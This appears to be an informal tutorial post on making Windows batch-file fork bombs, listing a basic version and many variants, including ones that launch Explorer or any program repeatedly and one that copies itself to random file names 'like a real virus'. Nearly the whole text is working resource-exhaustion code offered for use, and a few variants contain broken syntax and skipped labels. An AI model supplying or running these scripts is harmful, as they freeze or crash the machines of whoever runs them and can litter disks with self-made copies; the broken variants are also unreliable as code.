How to make a fork bomb

open up notepad and enter the following text:
:fork
start %0
%0|%0
goto :fork


save it as something.bat
to the desktop




there are about a million different ways to do this, i gave you disputably the best one, other variants include:


my favorite is the spread like a real virus bomb


explorer bomb:
:e
start %0
start C:\Windows\explorer.exe
%0|%0
goto :e


program bomb:
:e
start %0
start anyprogramyouwant
%0|%0
goto :e


the mini bomb:
%0|%0


inefficient bombs:
#1:
:e
start
start
start
goto :e


#2:
:e
start cmd.exe
goto :e


#3
:e
start (name of the batch file)
goto :e


slap in the face for deleting this bomb:
IF (DELETE whatever.bat) goto :e
IF (ERASE whatever.bat
:e
start %0
%0|%0
goto :e


matrix bomb:
@echo off
color 0a
:x
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% (lots of randoms)
start %0
%0|%0
goto :x


spread like a real virus bomb:
:e
copy /Y %0 %random%.bat
start %0
%0|%0
goto :e


alphabet fork:
:a
start %0
%0|%0
goto :a
:b
start %0
%0|%0
goto :b
:c
start %0
%0|%0
goto :c
:d
start %0
%0|%0
goto :d
:e
start %0
%0|%0
goto :e
:f
start %0
%0|%0
goto :g
:h
start %0
%0|%0
goto :i
:j
start %0
%0|%0
goto :j
:k
start %0
%0|%0
goto :k
:l
start %0
%0|%0
goto :l
:m
start %0
%0|%0
goto :m
:n
start %0
%0|%0
goto :n
:o
start %0
%0|%0
goto :o
:p
start %0
%0|%0
goto :p
:q
start %0
%0|%0
goto :q
:r
start %0
%0|%0
goto :r
:s
start %0
%0|%0
goto :s
:t
start %0
%0|%0
goto :t
:u
start %0
%0|%0
goto :u
:v
start %0
%0|%0
goto :v
:w
start %0
%0|%0
goto :w
:x
start %0
%0|%0
goto :x
:y
start %0
%0|%0
goto :y
:z
start %0
%0|%0
goto :z
:bob
start %0
%0|%0
goto :bob